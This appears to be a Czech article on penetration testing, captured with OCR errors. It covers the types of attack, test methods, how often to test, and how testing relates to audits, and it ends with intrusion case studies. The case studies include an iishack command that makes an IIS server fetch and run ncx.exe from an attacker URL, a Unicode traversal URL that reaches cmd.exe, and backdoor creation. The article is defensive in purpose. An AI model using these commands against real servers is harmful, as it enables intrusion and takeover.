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PENETRACE — mira odolnosti mérena hloubkou vniknuti zkusebniho télesa do zkouseného materialu

(Akademicky slovnik cizich slov)

Penetracni test = prunikovy test

Penetracni test je obvykle definovan jako simulace
hackera pokousejiciho se o prinik z internetu na
vefejné pristupné servery a sluzby. Vyjdeme-li
z definice slova ,,penetrace uvedené v mottu této
prezentace, je vnimani ,,penetracni test = prunikovy
test naprosto spravné, nicméné jak ukazu
v nasledujicich nékolika odstavcich, napli
penetracnich testd je resp. mize byt podstatné Sirsi
nez pouhé otestovani odolnosti firemnich WWW
stranek.

UcCinime-li prvni zobecnéni ,hackera v internetu a

za¢neme hovoftit obecné o uto¢nikovi vné organizace,

muzeme potencialni utoky (a tim padem rovnéz napln
penetratniho testu) rozd€lit do nasledujicich
kategorii:

e Priniky zinternetu — TCP/IP hacking — toto je
nejCastéjsi a zaroven nejznaméjsi forma utokd,
které se obvykle vyznacuji ,,viditelnymi* projevy
— pozménéné WWW stranky, pfesmeérované DNS
domény, vefejné publikované databaze uzivatell
apod. Casto se oviem napadené servery stavaji
pouze ,piestupni stanici“, odkud hackefi
podnikaji utoky na skute¢né cile, tj. napadeny
server pouze zneuziji pro zahlazeni stop.
Nebezpeéni téchto ttokll je ve vétSiné piipadi
spiSe v oblasti ztraty dobrého jména spolecnosti
(servery piistupné z internetu obvykle neobsahuji
zadna nevefejna data), s rozvojem elektronického
obchodovani pfes internet se vSak hrozby téchto
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e Prinik pfes telefonni sit — dialup hacking —
nepfili§ obvykly zplsob vzdaleného utoku,
obvykle je pouzivan pfi pokusech o proniknuti do
firemni vnitini sité. Utoky tohoto typu se obvykle
snazi o zneuziti slabin v systémech vzdaleného
pristupu do vnitini sité prostfednictvim modemu,
piipadné o zneuziti ,,opomenutého” modemu
pripojeného k ne¢které pracovni stanici nebo
serveru ve vnitini siti. Cetnost tohoto typu utoki
je pomérné mala, ov§em na druhou stranu je nutno
zdUraznit, ze v pfipad¢ uspésného priniku jsou
hrozby pomérné zavazné.

e Prinik zneuzitim selhani lidského faktoru -
»social“ hacking — v soucasnosti podle mého
nazoru jedna z nejvetsSich hrozeb a zaroven velmi
nebezpecny trend do budoucna. Jedna se o meto-

du, ktera je typicky zneuzivana k neopravnénému
ziskavani dat (napt. za ucelem S$pionaze, v ramci
konkuren¢niho boje apod.) a jak jiz nazev
napovida, jeji princip spociva ve vyuziti
neznalosti a neopatrnosti uzivateld. Typickou
formou jsou pocitatové viry a jiny Skodlivy
software. Asi nejvétsim problémem prunikt
tohoto typu je skuteCnost, Ze se proti nim
prakticky nelze branit ryze technickymi
prostiedky, ale je nutno tyto technické prostredky
doplnit vhodnymi organizacnimi opatienimi, ktera
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jsou dodrzovana a patfi¢né kontrolovana.

Pokud se pokusime v naSem zobecnéni pokracovat,

muizeme pokusy o prunik z vn&jsiho prostiedi rozsitit

o pokusy zevniti — tj. pruniky z vnitini sité. Jakkoli

Vam mize tato mySlenka pfipadat pfehnané

paranoidni, véfte ze z pohledu ochrany citlivych dat

vasi spolecnosti je vnitini nepfitel (napf. nespokojeny
vné spoleénosti. Utoky zevnitt jsou tolik nebezpe&né
hned z nékolika divodi:

+ Utoénik (napf. zminény nespokojeny
zaméstnanec) poziva diavéry spoleCnosti a ma
pfidélen  pfistup  knékterym  datim, je
opravnénym uzivatelem v provozovanych
systémech (operacni systémy, databaze apod.),
prostiednictvim vnitini pocitacové sité ma pristup
obvykle k vétSin€ internich serverd (i k t€ém, na
kterych neni opravnénym uzivatelem).

e Technickd opatfeni vétSiny organizaci obvykle
nepfedpokladaji, ze by se nékdo ze zamestnancii
pokousel o prinik zneuzitim bezpecnostni slabiny
provozovanych operacnich systémut nebo aplikaci
— mnapf. u internich serveri casto nejsou
aplikovany patche, service packy nebo hotfixy
fesici zdvazné bezpecnostni chyby.

e (Cilem vnitinich utokt je obvykle ziskani citlivych
dat za ucelem jejich vyzrazeni (napf. v ramci
konkurenéniho boje), neopravnéné modifikace dat
nebo dokonce jejich poskozeni, a Ize proto
ocekavat, ze bude vziajmu utocnika veSkeré
aktivity  dikladn€¢  maskovat, coz velmi
znesnadiiuje jejich odhaleni. Prestoze jsem se
s tim v praxi nesetkal, dovedu si pfedstavit situaci,
kdy je zaméstnanec pomérné dlouhou dobu
schopen timto zplisobem opakovan¢ ,,poskozovat*
svého zaméstnavatele.
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+ Casto se setkavam v praxi s nizorem ,,nas podnik
je zaloZen na divéie®, nutno si ovSem uvédomit,
7ze zaméstnanec (tj. opravnény uzivatel
informacniho systému) mize byt pouze zneuzit a
stat se prostiednikem tutoku, aniz by si toho byl
védom (napf. pouzitim trojského kon€ nebo jiné
formy Skodlivého software).

Jak je tedy vidét potencidlnich moznosti
neopravnéného priuniku k Vasim datim je cela rada.
Z tohoto divodu je nutno vnimat rovnéz penetracni
testy v SirSich souvislostech.

Techniky a postupy pouzivané pfi penetracnich

testech lze velmi struéné charakterizovat nasledovneé:

e TCP/IP hacking — prvnim krokem testu je tzv.
portscan (napf. nastrojem NMAP), nasleduje
pouziti automatickych nastroji pro testovani
slabin (napt. ISS, CyberCop, Nessus), na zakladé
vysledkli automatizovanych testli je provedeno
manudlni testovani a hlub$i prozkoumani
,podezielych® nalezti (napt. hledani slabin
podobnych nékterym vefejné publikovanym —
nejcastéji pouzivané databaze slabin: BUGTRAQ,
CVE) a nékteré specifické testy (napf. Gtoky na
heslo, utoky protokolem NETBIOS).

e Dialup hacking — pouzité techniky a metody jsou
témef totozné jako v pfedchozim pfipade,
zadanim ovSem neni seznam IP adres nybrz
seznam telefonnich ¢isel (pfipadné rozsah
telefonnich ¢isel, u kterych je metodou tzv.
wardialingu testovdna pfitomnost modemu),
konkrétni provedeni je velmi zavislé na zplsobu
provozu testovaného modemového ptipojeni.

e ,social“ hacking — pifi tomto testu je jednak
testovana ucinnost antivirové ochrany vuci viram
prichazejicim z internetu (elektronickou postou

nebo stazenim zavirovaného souboru
internetovym prohlizeCem — tj. protokolem FTP,
HTTP nebo HTTPS), dale Ize pouzitim

testovaciho trojského koné zméfit, jaké procento
uzivatell spusti podezielou pfilohu e-mailové
zpravy a zaroven lze vpraxi demonstrovat
hrozby, které ze strany skutecnych trojskych koni
vyplyvaji (napf. vyzrazeni prakticky libovolného
dokumentu, ke kterému ma uzivatel piistup).

Vnéjsi test je mozno provadét v nékolika variantach:

e se znalosti vs. bez znalosti — test ,,bez znalosti
predpokladd omezenou, pifipadné zadnou znalost
konzultanta o prostiedi podniku a tim je velmi
blizky redlnému utoku, test ,se znalosti se
naopak opira o detailni informace o testovaném
prostfedi (napf. sitova topologie, detaily o
provozovanych aplikacich, popis bezpecnostnich
mechanizmil apod.),

e skryty vs. kooperativni — o skrytém testu nejsou
informovani  fadovi  pracovnici  systémové
podpory podniku, ¢imz se provadény test blizi
redlnému pokusu o prinik a provéfi reakéni

mechanizmy pfi skutecném utoku, zatimco
kooperativni penetracni test stavi na plné informo-
vanosti a spolupréci zainteresovanych pracovnikii
systémové podpory.

Interni test se pochopitelné vzdy provadi ve
spolupréci s pracovniky systémové podpory podniku
a s plnou znalosti o jeho prostfedi. U vnitiniho testu,
vzhledem k pomérné velkému poctu zafizeni ve
vnitini siti a vysoké pracnosti manualniho testovani,
se obvykle v prvnim kroku provadi automatizovany
test vSech zafizeni, ale dikladnym manudlnim test
jsou podrobena pouze vybrand zafizeni (obvykle
klicové servery pfip. reprezentanti nékterych
pracovnich stanic).

Vysledek penetracniho testu Vam
poskytne obrdzek o tom, éeho by pii
soucasné urovni znalosti mohl
dosahnout utocnik p¥i redalném utoku

Vzhledlem ktomu, Ze konzultant provadéjici
penetracni test pouzivd velmi podobné nastroje,
techniky a postupy jako realni utocnici, je hlavnim
pfinosem penetracniho testu praktické provéfeni
bezpecnostnich mechanizmii. Vysledkem testu je
pomérné piesny obrazek o tom, ¢eho by mohl
dosahnout v ptipadé skute¢ného utoku realny utoénik
pfi aktuadlni urovni znalosti o bezpecnostnich
slabinach a urovni v soucasnosti dostupnych
technickych prostredki.

Rad bych ovSem upozornil na nékteré¢ dalsi velmi
podstatné  skutecnosti  tykajici se  vysledkl
penetracnich testi:

¢ Problematickym bodem penetra¢nich testd je
faktor ¢asu. Pokud budeme srovnavat konzultanta
provadéjiciho penetracni test a realného utoénika,
je mozné predpokladat zhruba stejnou uroven
znalosti, piiblizné stejné nastroje, techniky a
pouzité postupy, ovsem zcela zjevnou nevyhodou
konzultanta je Casové omezeni (u externich testli
obvykle nékolik dni). V porovnani s konzultantem
muze realny Utocnik  pfipravé 1 vlastnimu
provedeni pokusu o prinik vénovat podstatné vice
¢asu a tim vyrazné zvysit své Sance na ,,uspéch®.

e Je tfeba si uvédomit, ze zjisténi ucinénad v ramci
penetratniho testu vypovidaji o ucinnosti
bezpecnostnich opatieni pii urovni znalosti
(publikované bezpecnostni slabiny apod.) a Grovni
dostupnych  technickych  prostfedkd v dobé
provadéni testu, zcehoz logicky vyplyva, Zze
vypovidaci hodnota vysledku penetracniho testu,
a to at mluvime o externim nebo internim,
s postupem Casu klesa (jsou publikovany nové
bezpeCnostni slabiny, jsou zvefejnény nové
techniky prinikt apod.).
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* Ani negativni vysledek penetracniho testu nezna-
mena odhaleni absolutné vSech bezpecnostnich
slabin  testovanych komponent (operacnich
systémdu, aplikaci apod.) — dosavadni zkuSenosti
jednoznaéné ukazuji, Ze Cetnost odhalovani
novych bezpecnostnich slabin v bézné
provozovanych aplikacich a systémech s postu-
pem cCasu rozhodné neklesa (dodnes jsou
odhalovany dalsi a dalsi bezpecnostni slabiny
napt. u Windows NT 4.0 a Internet Information
Serveru 4.0 zdilny spolec¢nosti Microsoft), ba
naopak diky snaze vyrobcl pfedehnat konkurenci
jsou cCasto uvadény na trh produkty, u nichz
bezpecnost jejich provozu rozhodné nebyla
prioritou jejich autord.

V ramci penetrac¢niho testu nejsou ovSem podrobena
testovani pouze technickd opatfeni, v piipadé
skrytého testu to jsou rovnéz opatfeni organizacni
(zejména kontrolni a monitorovaci mechanizmy
souvisejici s dozorem testovanych zafizeni a
systémt). Ackoli Vam to mulze pripadat jako
okrajova zalezitost, vézte ze praktické zkuSenosti jsou
velmi alarmujici — napf. je naprosto bézné, Ze
v piipadé ,,Usp&sné™ penetrace systémovi
administratofi tento incident vibec nezaregistruji
(ptiklad z praxe: penetrovan firewall a na ném
nasledné zalozen novy uzivatel nebo kompromitovan
WWW server a nasledné instalovan backdoor —
vobou pifipadech se administratofi o priniku
dozvédéli az na prezentaci vysledkli penetra¢niho
testu). Pochopitelné¢ pokud jde o zivotné dulezité
sluzby, jejichz nefunkénost je ,o€ividna“ (napf.
elektronicka posta), jsou problémy identifikovany
pomérné rychle, vétSinou ovSem neni zjitovana
pficina, ale pouze feSeny nasledky.

Pro provedeni penetracniho testu
nevhodny okamZik v podstaté neexistuje

V této cCasti prispévku bych se rad chvili pozastavil
nad otazkou, kdy je ten spravny okamzik k provedené
penetracniho testu. Pochopitelné tuto otazku pomérné
casto diskutuji, a proto se nejdiive pokusim ucinit
struény prehled argumenti pouzivanych pro odlozeni
penetracniho testu:

e Konfigurace nasi sit¢ neni v definitivnim stavu,
pravé probihaji pomérné rozsahlé zmény, bude
vhodngjsi provést test az se situace uklidni.

e Nas soucasny firewall je pouze doCasné feSeni,
planujeme vbrzké dobé jeho nahrazeni.
Momentaln¢ provadime upgrade naseho systému
elektronické posty.

e WWW stranky pro nds provozuje externi firma,
pristup do internetu jsme prozatim omezili pouze
na elektronickou postu, myslime si, Ze ndm nic
nehrozi.

e Test povédomi uzivateld (pozn. rozeslani
testovaciho trojského kon€) je v nasem ptipadé

zbyteény, vysledek 1ze odhadnout a bude tristni —
podezielou prilohu e-mailové zpravy spusti téméer
vSichni.

V kazdém zvySe uvedenych tvrzeni je kousek

pravdy, je vSak tfeba si uvédomit také nasledujici
fakta:

e Komunikacni infrastruktura je témét v kazdém
podniku pomérné dynamicky se rozvijejici se
oblasti, sta¢i se poohlédnout jaké komunikacni
technologie byly pouzivany pied rokem piipadné
pred dvéma, jinymi slovy prakticky témét nelze
definovat ,definitivni  pfip. cilovy stav*
pocitacové site.

e Co se ty¢e doCasnych variant, at’ uz u firewallu,
systému elektronické posty nebo jinych aplikaci a
systémd, je nutno si uvédomit, ze realny ttocnik
zcela jisté nebude brat ohled na to, ze firewall
bézi vdocasném nebo testovacim rezimu.
U kazdého zafizeni, které je néjakym zpluisobem
zptistupnéno z internetu je tfeba pocitat s tim, Ze
se stava potencialnim ter¢em utoku libovolného
uzivatele internetu (pfestoze napf. server
nepracuje s zadnymi davérnymi informacemi,
miZe se stat prestupni stanici pro nasledny utok
dale do ,,nitra“ podniku).

e Jak Ize pomérn¢ jednoduse demonstrovat na
ptikladu existujicich pocitacovych vira $ificich se
e-mailem (jako napf. znamy [I-LOVE-YOU), je i
pouhd  komunikace elektronickou  postou
postacujici k provedeni utoku zneuzitim selhani
lidského faktoru. Vysledkem takového utoku
muze byt napf. vyzrazeni davérnych informaci,
které mohou byt téméf bez védomi uzivatele
odeslany uto¢nikovi do internetu.

e Pokud jde o rezignaci na zminovany test
s trojskym kon€m, ktery ukaze jaké procento
uzivateld nevaha spustit e-mailovou piilohu
pochazejici z nedivéryhodného zdroje, je dost
obtizné tento ,,nezajem" piekonat, kazdopadné
z vlastni zkuSenosti vim, Ze jedna véc je
teoreticky diskutovat o potencialnich hrozbach,
které trojsky kun znamend, ovSem néco zcela
jiného je vidét skutecny vysledek, kdy testovaci
trojsky kin po spusténi pouze vylistuje a odesle
obsah pristupnych diskl, a v téchto vypisech se
nachazi napi. smlouvy, podklady pro porady
vedeni a jiné dokumenty, které by se rozhodné
nemély dostat do nepovolanych rukou.

Podobnym zptisobem by bylo mozno diskutovat o
vhodném okamziku pomérn€ dlouho, vysledkem této
diskuze by ovSem s nejvétsi pravdépodobnosti byl
zaveér, ze nekteré okamziky jsou pro provedeni
penetracniho testu méné¢ vhodné, nicméné osobné
jsem piesvédcen, ze vylozené nevhodny okamzik pro
penetracni test v podstaté neexistuje.
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Pokud bych mél zminit nékteré situace, kdy je
provedeni penetrac¢niho testu naopak pfimo vyhodné,
byla by to naptf. zména v topologii pocitacové sité
(zejména pokud se dotykd vnéjSich komunikaci),
instalace nové vetejné pristupné aplikace, provedeni
upgrade operacniho systému pfip. nékteré z provo-
zovanych aplikaci na klicovych serverech nebo piimo
na firewallu, zavedeni novych organizacnich opatieni
(napf. disledny monitoring firewallu) apod.

Na tomto misté bych také rad znovu upozornil na
skutenost, ze vypovidajici hodnota vysledkt
penetracniho testu s postupem casu klesa, pokud
navic uvazime, ze zmény v provozovanych aplikacich
(upgrade, patche, service packy, apod.) jsou rovnéz
pomérné casté, je vhodné penetraCni test s jistym
casovym odstupem opakovat.

Logicky vyvstavaji minimalné
otazky:

nasledujici  dvé

e Jak Casto je teda rozumné penetracni test
opakovat?

* Neni to zbytecné nakladné provadét opakované
testy?

Na prvni otazku neni jednoducha odpovéd’, ovsem na
zéklad¢ zkusenosti ze soucasné praxe lze doporudit
zopakovat penetracni test zhruba 2-3 krat ro¢n€ — pro
tento idaj nemam zadné piisné logické zdtvodnéni,
spiSe vychdzim z empirického sledovani frekvence
publikovanych bezpec¢nostnich slabin a obvyklé
dynamiky zmén v oblasti IT naSich podniki.

Co se tyCe nakladnosti opakovany testl, muze

doporuceni na opakovany test pusobit jako ,.finta“

dodavatele, pokusim se ovSem ukazat, ze obavy

z nakladnosti opakovanych testil jsou mozna zbyte¢né

pfehnané.

e U opakovanych testdi je mozno se rozhodnout,
vjakém rozsahu a jak dtkladné bude test
proveden  (kompletni  test, pouze  test
internetového piipojeni, pouze test novée insta-
lované vefejné WWW aplikace, test odolnosti
firewallu po jeho pfedchozim upgrade apod.)

e Je mozno zvazit, zda-1i na provedeni testu pozvat
externi firmu nebo provést testovani vlastnimi
silami. Rada ¢innosti vramci testu je totiz
provadéna pomoci automatickych nastroju,
z nichZ nékteré jsou dokonce volné pfistupné na
internetu. Obvykle je mozné dohodnout se
s dodavatelem penetracniho testu na instalaci
nekterého z t€chto nastrojii a vyskoleni odborného
pracovnika.

Penetracni test nevyiesi Vasi
bezpecnost, je pouze kontrolnim
ndstrojem

Na tomto misté bych rad podiskutovat nad samotnym

principem a filozofii penetracnich testl. Penetracni
testy spolu napiiklad s bezpec¢nostnimi audity patfi do

skupiny sluzeb, které by se daly oznacit jako
,kontrolni“. To znamena, Ze cilem penetrac¢niho testu
neni vyfeSit bezpecnostni problémy testovanych
zafizeni, systémil nebo aplikaci, ale jistym zptisobem
(v pfipadé penetraéniho testu simulaci pokusu o
prinik) provéfit a zhodnotit iroven zabezpeceni, a to
jak na trovni technickych, tak i organizacnich
opatfeni.

Obsahem zavérecné zpravy o prubchu a vysledcich
penetracniho testu jsou pochopitelné také konkrétni
navrhy opatfeni, kterd néjakym zplsobem eliminuji
nalezené slabiny, tato opatfeni ovSem rozhodné nelze
vnimat tak, Ze jejich implementaci vyfesime vSechny
otazky zabezpeCeni testovanych zafizeni. Vzhledem
k tomu, ze zakladni filozofii penetra¢niho testu je
simulace pokusu o prunik prostfednictvim sit¢ (at’ uz
z internetu nebo z vnitini LAN) — zjednodusené
feCeno ,,z dalky“, existuje celd fada slabin, které
obvykle nejsou, a ani z principu nemohou byt v ramci
penetracniho testu odhaleny.

Mezi priklady toho, co penetracni test rozhodné
neodhali patfi jakékoli slabiny souvisejici s fyzickou
bezpe€nosti, chybné nastavena pfistupova prava,
logovani nebo systémovy audit, nedostate¢na pravidla
fizeni pristupu (napt. trividlni hesla, kterd se Cisté
nahodou nepodafilo ,,uhadnout®), penetracni test neni
zéakladé¢ testu nelze napft. posoudit celkovou koncepci
bezpecnosti apod.

Na druhou stranu je penetracni test prakticky jedinym
zpusobem jak napiiklad odhalit, Ze se systém nebo
aplikace chova jinak nez deklaruje jeji vyrobce resp.
dodavatel — napt. za jistych okolnosti dojde k jejimu
zhrouceni, zahlceni, je mozno obejit formalné velmi
pfisné bezpecnostni mechanizmy, nalezenou slabinu
lze zneuzit napt. k ziskani neopravnéného piistupu
k datlim v systému apod.

Penetracni test neni nahradou, ale
vhodnym doplitkem bezpecnostniho
auditu

Jak jsem jiz uvedl patii bezpeCnostni audit i
penetracni test spolecné do skupiny kontrolnich
sluzeb souvisejicich s informacéni bezpecnosti. Z toho
vyplyva, ze ob¢ tyto sluzby maji za cil posoudit
uroven zabezpeceni aplikaci, systémid nebo zafizeni,
kterd jsou predmétem testu resp. auditu. Mezi
odborniky se muzete setkat sriznymi pohledy na
vztah mezi penetracnim testem a bezpecnostnim
auditem, né€ktefi tvrdi, Ze penetracni test je nejvyssi
mozny stupen jistoty zabezpeCeni, naopak jini
povazuji penetracni test za nahodily, nesystematicky
zpisob posouzeni bezpe€nosti, jehoZz negativni
vysledek spiSe vytvaii iluzi o Grovni bezpecnostnich
opatteni.
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Jak uz to tak obvykle chodi, pravda je nékde
uprostied mezi témito extrémnimi nazory. Pro lepsi
nazornost si  nejprve  dovolim ob¢  sluzby
charakterizovat na analogii s domem a zamérem
zjistit jeho odolnost proti vloupani.

e Penetra¢ni test — vtomto piipadé si najmete
odbornika, kterého postavite pfed zam¢eny diim a
aniz byste mu sdélili jakékoli dalsi informace ho
pozadate, aby se pokusil proniknout dovnitf
(analogie: najmete si konzultanta, ktery se snazi
kompromitovat napt. Vasi kritickou WWW
aplikaci).

e Bezpecnostni audit — zde si opét povolate
odbornika, kterému predate plan domu a klice a
pozadate ho, aby posoudil, jak je dim odolny
proti zlod€jim (analogie: pifi auditu WWW
serveru se auditor piihlasi k serveru s opravnénim
spravce a pii posuzovani ma k dispozici
kompletni informaci o nastaveni operac¢niho
systému, jednotlivych aplikaci apod.).

Jiz v ptedchozi ¢asti ptispévku byly uvedeny priklady
bezpecnostnich slabin, které nelze (nebo jen velmi
obtizn€) v ramci penetracniho testu odhalit a naopak
ptiklady slabin, které lze odhalit de facto pouze
penetratnim testem. Podivame-li se na zminéné
piiklady slabin z pohledu bezpecnostniho auditu,

zjistime, Ze to, co penetratni test neodhali
(nedostatecnd  fyzickd  bezpeCnost,  nastaveni
pristupovych  prav, pravidla fizeni pfistupu,

zakladani/ruSeni uzivatell apod.) je témér vzdy
pfedmétem Setfeni v rameci bezpecnostniho auditu,
ktery piipadné slabiny odhali.

Z vyse uvedeného tedy vyplyva, ze penetracni test a
bezpecnostni audit nelze povazovat za konkurencni,
vzajemné nahraditelné sluzby, ale za sluzby, které se
velmi vhodné dopliwuji. Z tohoto divodu je v praxi
velmi Casto nabizen bezpecnostni audit spolecné
s penetracnim testem, nebot’ kombinace obou téchto
produkt poskytuje velmi komplexni obrazek o
urovni zabezpeceni provétovaného zafizeni, systému
nebo aplikace.

Principy nékolika uspéSnych priniki
Pro ftadu lidi jsou nékteré vefejné publikované
piipady uspéSnych prinikd povazovany za témer
neuvetitelné piihody spadajici spiSe do oblasti
§piondznich romanti. V zavéru mého prispévku bych
se rad pokusil tento mytus alespon ¢astecné narusit a
na nékolika ptikladech ukazat nékteré principy
uspésnych prinika.

Kromé jednoho piipadu vychazi pouzité piiklady
z realné praxe, z divodd predevsim Casové omeze-
ného prostoru nejsou jednotlivé priklady diskutovany
na urovni technickych detaild.

Priklad 1 - Stat se ,hackerem* neni az tak
slozité

Vychozi situace — m&me fiktivni spole¢nost Victim,
s.r.0., ktera je pfipojena k internetu a provozuje pouze
jeden WWW server — www.victim.cz. Pro tento
WWW server pouziva Internet Information Server
4.0 (IIS4) a operaénim systétm Windows NT 4.0
SP5). Spolecnost ucinila vSechna potfebna opatfeni

pro zajisténi bezpecnosti — pouziva pokrocilé
bezpecnostni  technologie  (firewall, Intrusion
detection system, apod.), jedind sitovad sluzba

pristupna z internetu je port 80 na vySe zminéném
WWW serveru.

Princip utoku — zékladni princip tohoto utoku spociva
ve zpusobeni tzv. ,buffer overflow” na vzdaleném
WWW serveru (cil utoku), a to zpusobem, kdy je
LHhrouticimu se WWW  serveru vhodné podsunut
specialni spustitelny kod, ktery po spusténi provede
download a spusténi trojského koné, jenz utoénikovi
»ZpTistupni dotyény WWW server.

Jak to muze vypadat v praxi

Prestoze vysSe popsany princip utoku zni pomérné
slozit€¢, poté¢ co je podobna slabina vcetné tzv.
»exploitu“ publikovana, nepotiebuje Utocnik celkem
zadnou specialni znalost.

Exploit = obvykle program (pfip. jeho zdrojovy kod),
ktery po spusténi provede ,,vSechny potiebné“ kroky
a prakticky demonstruje  zneuziti  konkrétni
bezpecnostni slabiny.

Uto¢nikovi  k ,habourani“ serveru naSi fiktivni
spoleCnosti v podstaté staci ucinit nasledujici Ctyfi
pomérné jednoduché kroky:

e ziskd na internetu informaci o popsané chybé
v Internet Information Serveru (napf. na
http://www.ntbugtraq.com vyhledanim fraze ,,IIS
hack) a dva klicové soubory ncx.exe a
iishack.exe potiebné ke zneuziti slabiny (napf. na

adrese http://packetstorm.securify.com
vyhledanim  klicovych  slov  ,iishack.exe
ncx.exe®),

* na néjaky web server umisti soubor ncx.exe
(feknéme, ze tento soubor umisti na adresy
http://www.freeweb.com/~hacker/ncx.exe),

* nasvém pocitaci spusti piikaz
x:\hackingtools> iishack www.victim.cz 80
www.freeweb.com/~hacker/ncx.exe,

* nyni spusti-li ptikaz
x:\hackingtools> telnet www.victim.cz 80
pfipoji se na server, ziska pfistup k ptikazové
fadce serveru (interpretu prikazli — cmd.exe) a
disponuje systémovymi pravy (tj. de facto
kompletné ovladnul server).
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Zamérné jsem zvolil bezpecnostni slabinu, ktera byla
publikovana jiz pomérné davno (zhruba v polovingé
roku 1999) a lze predpokladat, ze bude v soucasné
dob¢ na vétSin€ serveru jiz oSetfena — to abych nebyl
naf¢en z navodu k nekalé Cinnosti. Rad bych ovsem
upozornil na jednoduchost provedeni popsaného
utoku — piestoze odhaleni této bezpecnostni slabiny
zcela jist¢ vyzadovalo netrivialni ¢as a velmi detailni
znalosti o inkriminovaném opera¢nim systému a
WWW serveru, poté co byla slabina publikovana
véetné exploitu (v tomto piipadé program
iishack.exe) je jeji zneuziti velmi jednoduchou
zéleZitosti.

Priklad 2 — MS Exchange — nalezeni slabiny
podobné jiné publikované slabiné

Popis slabiny

Vramci testu bylo zjisténo, ze SMTP brana na
firewallu propusti zpravy s ne zcela korektni RFC
822 hlavickou (detaily zamérn¢ neuvadim), které
zpusobuji kolaps MS Exchange ve vnitini siti (chyba
podobna publikované slabin¢ BUGTRAQ-1333).

BUGTRAQ-1333 Microsoft Outlook and Exchange
are both vulnerable to denial of service attacks
through incoming email if both bee: and Reply-to: or
Return-Path: and From: fields are left blank. Outlook
will crash upon the delivery of these particular email
messages and Exchange will produce an error stating
that the message is not deliverable and to check for
sufficient memory or disk space.

Pripad z praxe

V ramci testu byl prakticky demonstrovan zpisob,
kterym muze prakticky kdokoli v internetu omezit
interni systém elektronické posty podniku, a to
pouhym odeslanim vhodné ,,deformované* zpravy na
existujici e-mailovou adresu vramci doty¢ného
podniku.

Priklad 3 — Jesté jednou IIS - publikovana
slabina

Popis slabiny

CAN-2000-0884 IIS 4.0 and 5.0 allows remote
attackers to read documents outside of the web root,
and possibly execute arbitrary commands, via
malformed URLs that contain UNICODE encoded
characters, aka the "Web Server Folder Traversal"
vulnerability.

Pokud mate ulozeny Vase WWW stranky v adersafi
d:\inetpub\wwwroot\companyweb\ a Vas server je
postizen vyse uvedenou slabinou, je mozno zadanim
nasledujiciho URL do internetového prohlizece

http://www.firma/../../...WINNT/SYSTEM32/
CMD.EXE (znaky “.° je treba zapsat v UNICODE
kodovani)

docilit naptiklad spusténi interpretu ptikazu.

Pripad z praxe

WWW server byl otestovan na slabinu CAN-2000-
0884, kteryzto test byl pozitivni. Tato slabina
umoznila spustit na cilovém pocitaci libovolny piikaz
a tedy jejim prostiednictvim byla ziskana plné
kontrola nad uzivatelskym u¢tem IUSR  WEBSENSE
(pod timto uctem je provozovan WWW server).
Tento ucet je sice (teoreticky) neprivilegovany, ale:

e kontrola nad nim uto¢nikovi zprostiedkuje piimy
piistup do lokalni sité (resp. demilitarizované
zony), do které je napadeny pocita¢ zapojen,
pricemz lze takto snadno obejit omezeni
zpusobend pripadnym firewallem stojicim mezi
utocnikem pfipojenym k Internetu a timto
pocitacem resp. touto siti,

e to¢nik majici kontrolu nad timto u¢tem se muize
pokusit dosdhnou eskalace svych opravnéni
zneuzitim nevhodné nastavenych piistupovych
prav na systémovych adresafich nebo souborech
(coz neni v standardni instalaci MS Windows NT
resp. 2000 nic neobvyklého: pro demonstraci byl
vtomto konkrétnim piipadé¢ vytvofen soubor
C:\l_was_here), pripadné systémovych
polozkach registry, nebo zneuzitim slabiny
v nékteré privilegované sluzbé (to vsak nebylo
nijak otestovano).

Piiklad 4 — Prinik postupnym zneuZitim dvou
slabin

Popis slabin

BUGTRAQ-908 The version of Netscape FastTrack
server that ships with UnixWare 7.1 is vulnerable to a
remote buffer overlow. By default, the httpd listens
on port 457 of the UnixWare host and serves
documentation via http. If you pass the server a GET
request with more than 367 characters, the stack
overflows and the EIP is overwritten making it
possible to execute arbitrary code with the privileges
of the httpd (usually nobody).

CVE-1999-0866 Buffer overflow in UnixWare xauto
program allows local users to gain root privilege.

Pripad z praxe

Na testovaném serveru byl provozovan na specialnim
portu WWW server s napovédou k operacnimu
systému (v tomto pfipadé SCO). Pouzity software byl
Netscape FastTrack verze 2.0la. Pfistup k tomuto
specialnimu HTTP portu byl ziskam poté, co se
podafilo pouzitim vhodné fragmentace IP paketl
uspésné obejit filtrovaci pravidla firewallu chraniciho
zminény server.
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Sluzba byla testovana na BUGTRAQ-908 a test byl
pozitivni. Tim byla ziskdna kontrolanad uctem
nobody na testovaném serveru. Ackoli samo
ovladnuti byt neprivilegovaného uctu je pomérné
zédvazny problém, bylo vtomto pfipadé uspésné
zneuzito dals$i slabiny pouzitého operacniho systému,
CVE-1999-0866, a tim byla ziskana superuzivatelska
prava, Cili absolutni kontrola nad serverem.

Po ziskani superuzivatelskych prav byly provedeny
nasledujici kroky: byla vytvofena "zadni vratka" —
soubor /sbin/scoui (libovolnému uzivateli spusti
shell bézici pod superuzivatelem), G¢tu nobody bylo
nastaveno heslo "heslo", byl vytvofen novy
uzivatelsky ucet iwashere sheslem "heslo" a byl
vytvofen soubor /tmp/.i_was_here.

Priiklad 5 — X11 — témér neuvéritelna souhra
nahod

Popis slabiny

V tomto pfipadé¢ nebylo zneuzito zadné konkrétni
bezpecCnostni slabiny, ale spiSe chybné konfigurace
systému a souhry nékolika dalSich faktorti (tfi hlavni
faktory jsou v dalSim textu oznaceny).

Pripad z praxe

Na testovaném serveru (jednalo se 0 WWW server)
byl nalezen server syst¢ému XI11, podle seznamu
podporovanych extenzi protokolu zfejme verze R6.3,
ktery bézel na konzoli pocitace.

Pristup k tomuto X serveru nebyl nijak omezen
(1. faktor), coz je samo o sob& zavazny problém,
protoze 1 bez dalsich ptedpokladti to napf. umoziuje
uto¢nikovi odposlouchavat prakticky bez omezeni
stisky klaves a tak napf. odposlechnout hesla
zadavana do programul, jejichz uzivatelské rozhrani je
na tomto X serveru. Vtomto piipadé byla navic
v X serveru na konzoli spusténa superuzivatelska
seance — tj. na konzoli byl pfihlaSen uzivatel root
(2. faktor). Po bliz§im ohledani bylo zjisténo, ze

Autor

kromé¢ jinych, je na konzoli otevieno okno
s termindlem (3. faktor), tato skutec¢nost spolu
s pfitomnosti extenze XTest umoznila utok spoci-
vajici v premisténi okna s termindlem na poptedi a
vlozeni textu libovolného piikazu do tohoto
terminalu. Tim byla ziskdna superuZzivatelskd préava,
¢ili absolutni kontrola nad pocitacem.

Po ziskani superuzivatelskych prav byly provedeny
nasledujici kroky: byl vytofen novy ucet iwashere
s prazdnym heslem ekvivalentni superuzivateli (tj.
